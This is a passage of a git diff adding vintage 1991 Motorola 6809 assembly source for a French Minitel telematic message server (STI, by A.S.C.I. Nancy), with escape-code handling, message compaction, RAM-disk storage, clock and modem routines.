+ STB ,Y+
+ BRA ESC94
+ESC91 CMPA #$43 C=Caractère début
+ BNE ESC92
+ LDB #$68
+ BRA ESC93
+ESC92 CMPA #$46 F=Fin d'insertion
+ BNE ESC7F de caractères
+ LDB #$6C
+ESC93 LDA #$1B
+ STA ,Y+
+ LDA #$5B
+ STA ,Y+
+ LDA #$34
+ STD ,Y++
+ESC94 LEAX 1,X
+ BRA ESC7F
+
+ESC69 CMPA #$69
+ BNE ESCB
+ LDB $6A90
+ ANDB #1
+ INCB
+ ANDB #1
+ STB $6A90
+ SUBB #$5D
+ NEGB
+ LDA #$1B
+ STD ,Y++
+ LBRA ESCSUI
+
+ESCB CMPA #$4B K=Klignotement
+ BNE ESCC
+ LDB $6A9E
+ ANDB #1
+ INCB
+ ANDB #1
+KLI1 STB $6A9E
+ LDA $6AD6
+ ANDA #1
+ BNE KLITO
+ SUBB #$49
+ NEGB
+ LDA #$1B
+ STD ,Y++
+KLI2 LBRA ESCSUI
+KLITO LDA #$1B
+ LDB $6A66
+ ANDB #7
+ ADDB #$40
+ TST $6A9E
+ BEQ KLIT1
+ ADDB #$30
+KLIT1 STD ,Y++
+ LDB $6A7B
+ ANDB #$7
+ ADDB #$50
+ TST $6A9E
+ BEQ KLIT2
+ ADDB #$28
+KLIT2 STD ,Y++
+ BRA KLI2
+
+ESCC CMPA #$4C L=Locate
+ BNE ESC4D
+ LBSR PARA
+ LDU #PARA1
+ LDD ,U++
+ CMPD #$FFFF
+ BEQ LO4
+ PSHS A
+ TSTB
+ BPL LO0
+ LDB $6B00
+LO0 CMPB #25
+ BLO LO1
+ CLRB
+LO1 STB $6B00
+ ADDB #$40
+ LDA #$1F
+ STD ,Y++
+ PULS B
+ TSTB
+ BPL LO2
+ LDB $6AF9
+LO2 CMPB #40
+ BLS LO3
+ CLRB
+LO3 STB $6AF9
+ ADDB #$41
+ STB ,Y+
+LO4 LDB ,U+
+ BMI LO7
+ ANDB #1
+ STB $6AEB
+ BEQ LO5
+ LDB #$11
+ BRA LO6
+LO5 LDB #$14
+LO6 STB ,Y+
+LO7 LDB ,U+ LIGNAGE EN MODE
+ BMI LO8 GRAPH SOULIGNAGE
+LIGNA ANDB #1 EN MODE NORMAL
+ STB $6AA5
+ LDA $6AD6
+ ANDA #1
+ BNE LO8 Lignage SIMUL
+ ADDB #$59
+ LDA #$1B
+ STD ,Y++
+LO8 LBRA ESCSUI
+
+ESC4D CMPA #$4D M=Mode
+ LBNE ESC4E
+ LDA ,X
+ CMPA #$53 S=Scroll
+ BNE ESC4D1
+ LDB #$69
+ BRA ESC4D2
+ESC4D1 CMPA #$50 P=Page
+ BNE ESC4D3
+ LDB #$6A
+ESC4D2 LEAX 1,X
+ LDA #$1B
+ STA ,Y+
+ LDA #$3A
+ STD ,Y++
+ LDA #$43
+ STA ,Y+
+ESC4D3 LBRA ESCSUI
+
+ESC4E CMPA #$4E N=nouvelle ligne
+ BNE ESC52
+ LDD #$0A0D
+ STD ,Y++
+ LDB $6A66
+ ADDB #$40
+ LDA $6AD6
+ ANDA #1
+ BEQ EO00
+ TST $6A9E
+ BEQ EO00
+ ADDB #$30
+EO00 LDA #$1B
+ STD ,Y++
+ LDB $6A7B
+ ADDB #$50
+ LDA $6AD6
+ ANDA #1
+ BEQ EO10
+ TST $6A9E
+ BEQ EO10
+ ADDB #$28
+EO10 LDA #$1B
+ STD ,Y++
+ LDB $6A58
+ ADDB #$4C
+ STD ,Y++
+ LDA #$20
+ STA ,Y+
+E020 BRA ESC4D3
+
+ESC52 CMPA #$52 R=Répétition
+ BNE ESC53
+ LBSR PARA
+ LDB PARA1
+ CMPB #63
+ BHI E020
+ LDA #$12 rep
+ ADDB #$40
+ STD ,Y++
+ BRA E020
+
+ESC53 CMPA #$53 S=Suppression
+ BNE ESC58
+ LDA ,X
+ CMPA #$4C Ligne
+ BNE ESC531
+ LDB #$4D
+ BRA ESC532
+ESC531 CMPA #$43 Caractère
+ BNE ESC4D3
+ LDB #$50
+ESC532 LEAX 1,X
+ LDA #$1B
+ STA ,Y+
+ LDA #$5B
+ STD ,Y++
+ BRA ESC4D3
+
+ESC58 CMPA #$58 X=effacement de
+ BNE ESC5E la fin de la ligne
+ LDA #$18
+ STA ,Y+
+ BRA E020
+
+ESC5E CMPA #$5E ^ Déplacements
+ BNE ESCN
+DEA LDA ,X+
+ LBEQ FINMOD
+ CMPA #$3A :
+ BEQ DE0
+ CMPA #$5C \
+ BNE DE1
+DE0 LEAX -1,X
+ LBRA ESCSUI
+DE1 ANDA #$5F
+ CMPA #$42 B=bas
+ BNE DE3
+ LDA #10
+ BRA DEX
+DE3 CMPA #$44 D=droite
+ BNE DE4
+ LDA #9
+ BRA DEX
+DE4 CMPA #$47 G=gauche
+ BNE DE5
+ LDA #8
+ BRA DEX
+DE5 CMPA #$48 H=haut
+ BNE DE6
+ LDA #11
+ BRA DEX
+DE6 CMPA #$4E N=Nouvelle ligne
+ BNE DE8
+DE7 LDA #10
+DEX STA ,Y+
+ BRA DEA
+DE8 CMPA #$52 R=Retour chariot
+ BNE DEA
+ LDA #13
+ STA ,Y+
+ BRA DE7
+
+ESCN LBRA ESC0
+
+
+FINMOD LDX #POKE+4
+ LDA $6AD6
+ CMPA #2
+ BEQ AFMINI Affichage MINITEL
+AFTOMO CLR ,Y Affichage TO+MODEM
+AFTM0 LDB ,X+
+ BEQ EXITEL
+ TST $6AD6
+ BNE AFTO
+AFTM1 LDA $E7FE
+ BITA #2
+ BEQ AFTM1
+ STB $E7FF
+ BRA AFTM0
+AFTO JSR $E803
+ BRA AFTM0
+AFMINI LBSR TEL
+EXITEL LDY #POKE
+ LDX #ZONE+22
+FINMAX LBSR COPIE
+ PULS A,B,CC,DP,X,Y,U,PC
+
+PARA PSHS Y,U Recherche des
+ LDY #PARA1 paramètres (4 max)
+ LDD #$FFFF
+ STD ,Y
+ STD 2,Y
+ CLRB
+
+PAR0 LDA ,X+
+ BEQ SORPAR
+ CMPA #$3A :
+ BEQ AUTPAR
+ CMPA #$5C \
+ BEQ AUTPAR
+ CMPA #$2C ,
+ BEQ AUTPAR
+ CMPA #$30 0
+ BLO AUTPAR
+ CMPA #$39 9
+ BHI VAR
+ SUBA #$30
+ LDB ,Y
+ BPL PAR1
+ CLRB
+ STB ,Y
+PAR1 ASLB
+ ASLB
+ ASLB
+ ADDB ,Y
+ ADDB ,Y
+ STB ,Y
+ ADDA ,Y
+ STA ,Y
+ BRA PAR0
+
+VAR CMPA #$41 A
+ BLO AUTPAR
+ CMPA #$5A Z
+ BLS VAR0
+ CMPA #$61 a
+ BLO AUTPAR
+ CMPA #$7A z
+ BHI AUTPAR
+ SUBA #$20
+VAR0 SUBA #$41
+ STA ,Y
+ ASLA
+ ASLA
+ ASLA
+ SUBA ,Y
+ LDU #$6A58
+ TFR A,B
+ CLRA
+ LEAU D,U
+ LDB ,U
+ STB ,Y
+ BRA PAR0
+
+AUTPAR CMPA #$2C
+ BNE SORPAR
+ LEAY 1,Y
+ CMPY #PARA4
+ BHI SORPAR
+ CLRB
+ BRA PAR0
+
+SORPAR LEAX -1,X
+ PULS U,Y,PC
+
+PTEL PSHS U,Y,X,DP,B,A,CC
+ LDD #$1003
+ STA $624B
+ JSR $EC0C
+ LDX #$A000
+ TFR X,Y
+ CLR ,Y+
+ CLR ,Y+
+ LDA #$61
+ TFR A,DP
+INPUT LDB #5
+ JSR $EC0C
+ LDA $6AD6
+ BNE PT1
+PT0 LDA $E7FE
+ BITA #2
+ BEQ PT0
+ LDA <$96
+ STA $E7FF
+ BRA PT2
+PT1 LDA <$96
+ STA ,Y+
+ CMPY #$DFFF
+ BHI CPTEL
+PT2 TST <$78
+ BEQ INPUT
+CPTEL LEAY -1,Y
+ LDB #6
+ JSR $EC0C
+ LDA $6AD6
+ BEQ FPTEL
+ CMPA #2
+ BEQ COMBLE
+ LDB #$FF
+ STB ,Y+
+PT3 LDB ,X+
+ BMI FPTEL
+ CMPB #19
+ BNE PT4
+ LDB #22
+PT4 JSR $E803
+ BRA PT3
+FPTEL PULS U,Y,X,DP,B,A,CC,PC
+
+TEL PSHS U,Y,X,DP,B,A,CC
+COMBLE LDD #$1B3A
+ STD ,Y++
+ LDD #$6AFE
+ STD ,Y++
+ LDD #$E7FD
+ TFR A,DP
+ STB <$C2
+ TFR X,U
+ LBSR ROUT1
+ LDX #$1000
+TEMP1 LEAX -1,X
+ BNE TEMP1
+ CLRB
+ ORCC #$50
+TOMI0 LDA #$07
+ STA ,S
+ BSR ROUT1
+ LDX #$0060
+ STX <$C6
+ LDA #$A2
+ STA <$C5
+ CLRA
+ BSR ROUT2
+TOMI1 LSRB
+ BCC TOMI2
+ BSR ROUT1
+ INCA
+ BRA TOMI3
+TOMI2 BSR ROUT2
+TOMI3 DEC ,S
+ BNE TOMI1
+ BITA #$01
+ BNE TOMI4
+ BSR ROUT2
+ BRA TOMI5
+TOMI4 BSR ROUT1
+TOMI5 LDB ,U+
+ BPL TOMI0
+ PULS CC,A,B,DP,X,Y,U,PC
+
+ROUT1 PSHS X,A
+ LDA <$C5
+ ORA #$80
+ BRA TOMI6
+ROUT2 PSHS X,A
+ LDA <$C5
+ ANDA #$7F
+ BRA TOMI6
+TOMI6 STA <$C5
+ LDX #$0061
+TEMP2 LEAX -1,X
+ BNE TEMP2
+ PULS A,X,PC
+
+CHERCH PSHS A,B,DP,CC,X,Y,U
+ LDX TAMPON
+ STX VAL+1
+ LDY #$A002
+ LDA $E7E5
+ TFR A,DP
+ LDA #$10
+CH0 STA $E7E5
+ LDU #$A000
+ LDB #$80
+CH1 LDX ,U
+VAL CMPX #$0000 VALEUR CHERCHEE
+ BNE CH2
+ LDX 2,U
+ STX POKE
+ LDX 4,U
+ STX POKE+2
+ LDX 6,U
+ STX POKE+4
+ PSHS A,B
+ PSHS U
+ EXG A,DP
+ STA $E7E5
+ EXG DP,A
+ ANDA #$0F
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSRB
+ LSRB
+ LSRB
+ LDU #TABLE
+ LDA A,U
+ STD ,Y++
+ LDD POKE
+ STD ,Y++
+ LDD POKE+2
+ STD ,Y++
+ LDA POKE+4
+ CLRB
+ STD ,Y++
+ PULS U
+ PULS A,B
+ STA $E7E5
+CH2 LEAU 128,U
+ INCB
+ BNE CH1
+ INCA
+ CMPA #$20
+ BLO CH0
+CH3 TFR DP,A
+ STA $E7E5
+ LEAX ,Y
+ STX LIMTR1+2
+ LEAX -8,X
+ STX LIMTR0+1
+ LEAX -$A002,Y
+ TFR X,D
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ STD $A000
+ CMPD #$0002
+ BLO TRI4
+ LDX VAL+1
+ BEQ TRI4
+ LDX #$A002
+TRI0 LEAY 8,X
+TRI1 LDB #4
+TRI2 LDA B,X
+ CMPA B,Y
+ BHI PERM
+ BLO TRI3
+ INCB
+ CMPB #7
+ BLO TRI2
+ BRA TRI3
+PERM LDB #6
+PERM0 LDA B,X
+ TFR A,DP
+ LDA B,Y
+ STA B,X
+ TFR DP,A
+ STA B,Y
+ DECB
+ BPL PERM0
+TRI3 LEAY 8,Y
+LIMTR1 CMPY #$0000
+ BLO TRI1
+ LEAX 8,X
+LIMTR0 CMPX #$0000
+ BLO TRI0
+TRI4 PULS A,B,DP,CC,X,Y,U,PC
+
+SAUV PSHS A,B,DP,CC,X,Y,U
+ LDA $E7E5
+ TFR A,DP
+ LDX #$FFFF
+ LDY #POKE
+ STX ,Y
+ STX 2,Y
+ LDA #$10
+EC0 STA $E7E5
+ LDU #$A000
+ LDB #$80
+EC1 LDX ,U
+ CMPX #$0000 VALEUR VIDE
+ BNE EC6
+ PSHS A,B,U
+ ANDA #$0F
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSRB
+ LSRB
+ LSRB
+ LDU #TABLE
+ LDA A,U
+ STD 4,Y
+ SUBA $6052
+ BPL EC2
+ NEGA
+EC2 STA 6,Y
+ CMPA 2,Y
+ BHI EC5
+ BEQ EC3
+ LDA #$FF
+ STA 3,Y
+EC3 LDA 4,Y
+ SUBA #20
+ BPL EC4
+ NEGA
+EC4 STA 7,Y
+ CMPA 3,Y
+ BHS EC5
+ LDX 4,Y
+ STX ,Y
+ LDX 6,Y
+ STX 2,Y
+EC5 PULS A,B,U
+EC6 LEAU 128,U
+ INCB
+ BNE EC1
+ INCA
+ CMPA #$20
+ BLO EC0
+ TFR DP,A
+ STA $E7E5
+ CLR TAMPON
+ LDD ,Y
+ LSRB
+ BCC EC7
+ COM TAMPON
+EC7 INCB
+ STD $604B
+ BRA EC8
+
+COMPAC PSHS A,B,DP,CC,X,Y,U
+EC8 LDD $604B
+ CMPA #63
+ LBHI COMP2
+ DECB
+ CMPB #15
+ LBHI COMP2
+ LDY #POKE
+ STY $604F
+ LDA #$94
+ STA $60CD
+ LDD #$0204
+ STD $6048
+ JSR $E004
+ LBSR HORPLU
+ LDD #$2804
+ PSHS A
+ LDX #TAMPON
+ LDA ,X+
+ BEQ COMP0
+ LEAY 128,Y
+COMP0 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE COMP0
+ LDD $607D
+ SUBB #90
+ CMPB #10
+ BLO DAT0
+ ADDB #100
+DAT0 LSLA
+ LSLA
+ LSLA
+ LSLA
+ LSLA
+ ROLB
+ LSLA
+ ROLB
+ LSLA
+ ROLB
+ LSLA
+ ROLB
+ STB ,Y+
+ LDA $607C
+ LDB HEURE
+ LSLB
+ LSLB
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LDA MINUT
+ LSLA
+ LSLA
+ LSLB
+ PSHS CC
+ LSLB
+ RORA
+ PULS CC
+ RORA
+ STA ,Y+
+COMP1 LDA ,X+
+ SUBA #$20
+ LDB ,X+
+ SUBB #$20
+ LSLB
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LDB ,X+
+ SUBB #$20
+ LSLB
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LDB ,X+
+ SUBB #$20
+ LSLB
+ LSLB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ STB ,Y+
+ DEC ,S
+ BNE COMP1
+ PULS B
+ LDD #$0801
+ STD $6048
+ LDX #POKE
+ STX $604F
+ JSR $E004
+ LDD #$0482
+ STA $6049
+ JSR $E004
+ STB $60CD
+ BRA COMP3
+COMP2 LDA #$FF
+ STA $604E
+COMP3 BSR DIROK
+ PULS A,B,DP,CC,X,Y,U,PC
+
+DIROK LDY #$C000
+ LDD #$0820
+DIR0 STB ,Y+
+ DECA
+ BNE DIR0
+ RTS
+
+DECOMP PSHS A,B,DP,CC,X,Y,U
+ LDA $E7E5
+ TFR A,DP
+ LDA #$0F
+ STA $E7E5
+ LDD $604B
+ CMPA #63
+ LBHI DECO2
+ DECB
+ CMPB #15
+ LBHI DECO2
+ LDA #$94
+ STA $60CD
+ LDD #$0204
+ STD $6048
+ LDX #TAMPON+1
+ STX $604F
+ JSR $E004
+ TST $604E
+ LBNE DECO3
+ BSR DIROK
+ LDD #$2804
+ PSHS A
+ LDA TAMPON
+ BEQ DECO0
+ LEAX 128,X
+DECO0 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE DECO0
+ LDA ,X
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ ADDA #90
+ CMPA #100
+ BLO DAT2
+ SUBA #100
+DAT2 STA ,Y+
+ LDA ,X+
+ ANDA #$0F
+ STA ,Y+
+ LDA ,X
+ LSRA
+ LSRA
+ LSRA
+ STA ,Y+
+ LDA ,X+
+ ANDA #7
+ LDB ,X
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LDA ,X+
+ ANDA #$3F
+ STA ,Y+
+DECO1 LDA ,X
+ LSRA
+ RORB
+ LSRA
+ RORB
+ ADDA #$20
+ STA ,Y+
+ LDD ,X+
+ ANDA #3
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ ADDA #$20
+ STA ,Y+
+ LDD ,X++
+ ANDA #15
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ ADDA #$20
+ LSRB
+ LSRB
+ ADDB #$20
+ STD ,Y++
+ DEC ,S
+ BNE DECO1
+ TFR DP,A
+ STA $E7E5
+ PULS A
+ BRA DECO3
+DECO2 LDA #$FF
+ STA $604E
+DECO3 LDA #$82
+ STA $60CD
+ PULS A,B,DP,CC,X,Y,U,PC
+
+AFFIC5 PSHS A,B,DP,CC,X,Y,U
+ LDA #5
+ STA $E7E5
+ LDD $6AB2
+ CMPD #0053
+ LBHI FAFF5
+ LDA #2
+ MUL
+ STD $6AB2
+ LDA #2
+ LDX #$A000
+ LBSR PREPA5
+ INC $6AB3
+ LDA #2
+ LDX #$A200
+ LBSR PREPA5
+ LDX #$A000
+ LDY #$A400
+ LDD #0
+ STD ,Y++
+ STD ,Y++
+ LDD #$0C14
+ STD ,Y++
+ LDA #25
+ STA LIGNE
+NOUVLI DEC LIGNE
+ BEQ PRINT5
+ LDA #40
+ STA COLON
+OCTSUI LDA ,X+
+ CMPX #$A400
+ BHI PRINT5
+ CMPA #$0D
+ BNE ESTAFF
+ LDB ,X+
+ DEC COLON
+ BMI NOUVLI
+AFFD LDD #$0D0A
+ STD ,Y++
+ BRA NOUVLI
+ESTAFF CMPA #32
+ BLO OCTSUI
+ CMPA #128
+ BLO OCTAFF
+ CMPA #161
+ BHI OCTSUI
+ SUBA #128
+ LDB #3
+ MUL
+ LDU #TABPC
+ LEAU B,U
+ LDD ,U++
+ STD ,Y++
+ LDA ,U
+OCTAFF DEC COLON
+ BMI OCTSUI
+ STA ,Y+
+ BRA OCTSUI
+
+PRINT5 LDU #$A400
+ LDD #$1F41
+ STA -1,Y
+ STB ,Y+
+ STB ,Y+
+ LDA $6AD6
+ CMPA #1
+ LBEQ COMBLE
+ LDB #255
+ STB ,Y++
+ TSTA
+ BNE ECRAN
+ATTMOD LDA $E7FE
+ BITA #2
+ BEQ ATTMOD
+ LDA ,U+
+ BEQ ATTMOD
+ BMI FAFF5
+ STA $E7FF
+ BRA ATTMOD
+ECRAN LDB ,U+
+ BEQ ECRAN
+ BMI FAFF5
+ CMPB #$13
+ BNE ECOK
+ LDB #$16
+ECOK JSR $E803
+ BRA ECRAN
+
+FAFF5 PULS A,B,DP,CC,X,Y,U,PC
+
+PREPA5 STA $6048
+ STX $604F
+ LDX $6AB2
+ BMI PB5
+ CMPX #719
+ BHI PB5
+ LDA #2
+ STA LIGNE
+AGIR5 LDA #$D4
+ STA $E7E7
+ LDX $E000
+ CMPX #$444B
+ BEQ OK5
+ LDA #$54
+ STA $E7E7
+PB5 LDX #$FFFF
+ STX $6AB2
+ LEAS 2,S
+ PULS A,B,DP,CC,X,Y,U,PC
+OK5 LDA $6052
+ LDB $6054
+ STA $6054
+ STB $6052
+ CLR $6058
+ LDX $6AB2
+ LDA #$FF
+TEST5 INCA
+ LEAX -9,X
+ CMPX #0
+ BPL TEST5
+ LEAX 10,X
+ STX $604B
+ PSHS A
+ ANDA #1
+ STA $6049
+ PULS A
+ LSRA
+ STA $604B
+ JSR $E004
+ LDA #$54
+ STA $E7E7
+ LDA $6052
+ LDB $6054
+ STA $6054
+ STB $6052
+ CLR $6058
+ LDA $604E
+ BEQ SOROK5
+ DEC LIGNE
+ BEQ SPB5
+ LDA $6048
+ LDB $6052
+ PSHS A,B
+ CLR $6052
+ CLR $6054
+ LDD #$D420
+ STA $E7E7
+ STB $6048
+ JSR $E004
+ LDD #$5401
+ STB $6048
+ JSR $E004
+ STA $E7E7
+ PULS A,B
+ STA $6048
+ STB $6052
+ LBRA AGIR5
+SPB5 LDX #999
+ STX $6AB2
+SOROK5 RTS
+
+LIRE5 PSHS A,B,DP,CC,X,Y,U
+ LDA #2
+ LDX #$9800
+ LBSR PREPA5
+ LDD #$0804
+ STD $6048
+ LDD #$1401
+ STD $604B
+ JSR $E004
+ PULS A,B,DP,CC,X,Y,U,PC
+
+ECRI5 PSHS A,B,DP,CC,X,Y,U
+ LDA #8
+ LDX #$9800
+ LBSR PREPA5
+ PULS A,B,DP,CC,X,Y,U,PC
+
+LIGNE FCB 0
+COLON FCB 0
+
+SAVPTR FCB 0,0
+
+PARA1 FCB 0
+PARA2 FCB 0
+PARA3 FCB 0
+PARA4 FCB 0
+
+TABPC FCB $1B,$48,32,$13,$48,$75
+ FCB $13,$42,$65,$13,$43,$61
+ FCB $13,$48,$61,$13,$41,$61
+ FCB 0,32,0,$13,$4B,$63
+ FCB $13,$43,$65,$13,$48,$65
+ FCB $13,$41,$65,$13,$48,$69
+ FCB $13,$43,$69,$1B,$5D,32
+ FCB 0,32,0,0,32,0,0,32,0
+ FCB $1B,$4C,32,$1B,$4D,32
+ FCB $13,$43,$6F,$13,$48,$6F
+ FCB $13,$41,$6F,$13,$43,$75
+ FCB $13,$41,$75,0,32,0,0,32,0
+ FCB 0,32,0,$1B,$49,32,22,23,0
+ FCB 0,32,0,0,32,0,0,32,0
+ FCB $13,$42,$61,$1B,$5C,32
+
+TABLE FCB 62,63,60,61,58,59,56,57
+ FCB 54,55,52,53,50,51,48,49
+ FCB 46,47,44,45,42,43,40,41
+ FCB 38,39,36,37,34,35,32,33
+ FCB 30,31,28,29,26,27,24,25
+ FCB 22,23,19,21,17,18,15,16
+ FCB 13,14,11,12,9,10,7,8
+ FCB 5,6,3,4,1,2,20,0
+
+ZONE FCB $3B,$3A,$AA,$26,$48,$38
+ FCB $38,$30,$30,$2C,0
+
+ FCB $3A,$AB,$23,$22,0
+
+ FCB $23,$31,$2C,$22,0
+
+ FCB $22,$3B,$3A,$AB,$23,$23,0
+
+POKE RMB 300
+
+FIN FCB 0
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI5.ASM b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI5.ASM
new file mode 100755
index 0000000..1e33cb7
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI5.ASM
@@ -0,0 +1,1402 @@
+***************************************
+* *
+* ***** ***** * Serveur Télématique *
+* * * Interactif ver. 1.4 *
+* * * * du 20/09/91 *
+* ***** * * * ** A.S.C.I. *
+* * * * ** * * NANCY *
+* * * * * **** 1991 *
+* ***** * * * * * Copyright *
+* *
+***************************************
+
+
+ ORG $8800
+
+TAMPON RMB $180
+
+HEURE FCB 0
+MINUT FCB 0
+SECON FCB 0
+DIXIE FCB 0
+FLGPAL FCB 0
+
+LIRE JMP DECOMP lit et décompacte
+ * un message depuis le secteur 4,P
+ * ([$604B]),S([$604C]) pour la par-
+ * tie 0/1 selon la valeur de TAMPON
+ * le message est en clair sur les
+ * 127 premiers octets du secteur
+ * (4,20,1) sur le premier RAM-DISK.
+
+SAUVE JMP SAUV cherche une place
+ * libre sur le disque (optimisée),
+ * et l'inscrit en $604B/C et TAMPON
+ * puis saute à ECRIRE.
+
+ECRIRE JMP COMPAC compacte le texte
+ * écrit en TAMPON+1 et l'enregistre
+ * sur les disks 1 puis 4 en fonct.
+ * de $604B/$604C et TAMPON (0/1).
+
+RECHER JMP CHERCH recherche tous les
+ * messages pour le No inscrit en
+ * TAMPON et en dresse la liste à
+ * partir de $A002 sur la bank cou-
+ * rante (2octets=Piste & Sect/Part)
+ * nombre de messages en $A000
+
+PAGTEL JMP PTEL affiche un fichier
+ * .TEL dont le nom est en $624F
+
+LIT5 JMP LIRE5 lit le secteur 5'
+ * de no contenu en $6AB2/3 (N%)
+
+ECR5 JMP ECRI5 écrit (voir haut)
+
+AFF5 JMP AFFIC5 affiche une page
+ * type tel depuis le 5'1/4
+
+INIT PSHS A,B,CC,DP,X,Y,U
+ CLR $87FE
+ CLR $87FF
+ LDX $6027
+ STX ANCTI+1
+ LDX #TIMER
+ STX $6027
+ LDA $6019
+ ORA #$20
+ STA $6019
+ LDX #INTER
+ STX $67C1
+ LDA #$7E
+ STA $67C0
+ PULS A,B,CC,DP,X,Y,U,PC
+
+HORPLU PSHS A,CC
+ BRA HP
+HORLOG PSHS A,CC
+ LDA #10
+ STA DIXIE
+ INC SECON
+ LDA SECON
+ CMPA #60
+ BLO PALETT
+HP CLR SECON
+ INC MINUT
+ LDA MINUT
+ CMPA #60
+ BLO PALETT
+ CLR MINUT
+ INC HEURE
+ LDA HEURE
+ CMPA #24
+ BLO PALETT
+ CLR HEURE
+ INC $607C
+ LDA $607C
+ CMPA #32
+ BEQ MOISUI
+ CMPA #31
+ BNE FEVBIS
+ LDA $607D
+ CMPA #4
+ BEQ MOISUI
+ CMPA #6
+ BEQ MOISUI
+ CMPA #9
+ BEQ MOISUI
+ CMPA #11
+ BEQ MOISUI
+ BRA PALETT
+FEVBIS CMPA #30
+ BNE FEVNOR
+ LDA $607D
+ CMPA #2
+ BNE PALETT
+ LDA $607E
+ ANDA #3
+ BEQ MOISUI
+ BRA PALETT
+FEVNOR CMPA #29
+ BNE PALETT
+ LDA $607D
+ CMPA #2
+ BNE PALETT
+ LDA $607E
+ ANDA #3
+ BEQ PALETT
+MOISUI LDA #1
+ STA $607C
+ INC $607D
+ LDA $607D
+ CMPA #13
+ BNE PALETT
+ LDA #1
+ STA $607D
+ INC $607E
+PALETT PULS A,CC,PC
+
+TIMER PSHS A,CC
+ DEC DIXIE
+ BNE SORTIM
+ PSHS B,X,Y
+ LBSR HORLOG
+ LDX #PAL
+ LDA $6AD6
+ CMPA #1
+ BNE SORPAL
+ LDA FLGPAL
+ INCA
+ ANDA #1
+ STA FLGPAL
+ BEQ PAL0
+ LEAX 16,X
+PAL0 TST $E7E7
+ BPL PAL0
+PAL1 TST $E7E7
+ BMI PAL1
+ LDY #$200
+PAL2 LEAY -1,Y
+ BNE PAL2
+ LDY #$E7DA
+ CLR 1,Y
+ LDB #32
+PAL3 LDA ,X+
+ STA ,Y
+ DECB
+ BNE PAL3
+SORPAL PULS B,X,Y
+SORTIM PULS A,CC
+ANCTI JMP $FFFF
+
+PAL FDB $0000,$0F00,$F000,$FF00
+ FDB $000F,$0F0F,$F00F,$FF0F
+ FDB $0000,$0F00,$F000,$FF00
+ FDB $000F,$0F0F,$F00F,$FF0F
+ FDB $0000,$0000,$0000,$0000
+ FDB $0000,$0000,$0000,$0000
+
+INTER PSHS CC,X
+ CMPA #$AB =PRINT
+ BNE QUIT
+ LDX $61C7
+ LDX 1,X
+ CMPX #$2330 APPEL EMISSION
+ BEQ MODEM CANAL 0
+ CMPX #$2322 RETOUR D'EMISSION
+ BEQ PRINT
+ CMPX #$2323 EMISSION CANAL 1
+ BNE QUIT
+ LDX SAVPTR
+ STX $61C7
+QUIT PULS CC,X,PC
+
+MODEM PULS CC,X
+ PSHS A,B,CC,DP,X,Y,U
+ LDX #ZONE
+ LDY #POKE
+ BSR COPIE
+ LDX $61C7
+ LEAX 4,X
+ CLRB
+AUTRE LDA ,X+
+ BEQ M2
+ CMPA #$22
+ BNE M0
+ COMB
+M0 TSTB
+ BNE M1
+ CMPA #$3A
+ BEQ M2
+M1 STA ,Y+
+ BRA AUTRE
+M2 LEAX -3,X
+ LDA 1,X
+ CMPA #$3B
+ BNE ERROR
+ STX SAVPTR
+ LDX #ZONE+11
+ LEAY -1,Y
+ BSR COPIE
+ LDX #POKE-1
+ STX $61C7
+ LDX #TAMPON
+BLANC CLR ,X+
+ CMPX #TAMPON+300
+ BLO BLANC
+ERROR PULS A,B,CC,DP,X,Y,U,PC
+
+COPIE LDA ,X+
+ BEQ FINCOP
+ STA ,Y+
+ BRA COPIE
+FINCOP RTS
+
+PRINT PULS CC,X
+ PSHS A,B,CC,DP,X,Y,U
+ LDY #POKE-1
+ STY $61C7
+ LEAY 1,Y
+ LDX #ZONE+16
+ BSR COPIE
+ LDX #TAMPON
+ LDA $6AD6
+ CMPA #2
+ BNE MODIF
+ CLR ,Y+
+ CLR ,Y+
+MODIF LDA ,X+
+ LBEQ FINMOD
+ CMPA #$5C \ escape
+ BEQ ESCAPE
+ CMPA #$16
+ BNE CARAC
+ LDB $6AD6
+ CMPB #1
+ BEQ CARAC
+ ADDA #3
+CARAC STA ,Y+
+ BRA MODIF
+
+ESCSUI LDA ,X+
+ LBEQ FINMOD
+ CMPA #$3A
+ BEQ ESC0
+ CMPA #$5C
+ BNE ESCSUI
+ BRA MODIF
+
+ESCAPE LDA ,X+
+ LBEQ FINMOD
+ CMPA #$5C \ si \\ alors \
+ BEQ CARAC
+ BRA ESC1
+ESC0 LDA ,X+
+ LBEQ FINMOD
+ CMPA #$5C \ sortie ESCAPE
+ BEQ MODIF
+ESC1 CMPA #$41 A (ATTRB)
+ BNE ESC2
+ LBSR PARA
+ LDB $6A58
+ LDU #PARA1
+ LDA ,U+
+ BMI ATT2
+ BEQ ATT1
+ ORB #2
+ BRA ATT2
+ATT1 ANDB #1
+ATT2 TST ,U+
+ BMI ATT4
+ BEQ ATT3
+ ORB #1
+ BRA ATT4
+ATT3 ANDB #2
+ATT4 ANDB #3
+ STB $6A58
+ ADDB #$4C
+ LDA #$1B
+ STD ,Y++
+ LDB ,U+
+ BMI ATT5
+ ANDB #1
+ STB $6AAC
+ BEQ ATT6
+ LDB #$58
+ BRA ATT7
+ATT6 LDB #$5F
+ATT7 STD ,Y++
+ATT5 LBRA ESCSUI
+
+ESC2 CMPA #$42 B (Beep)
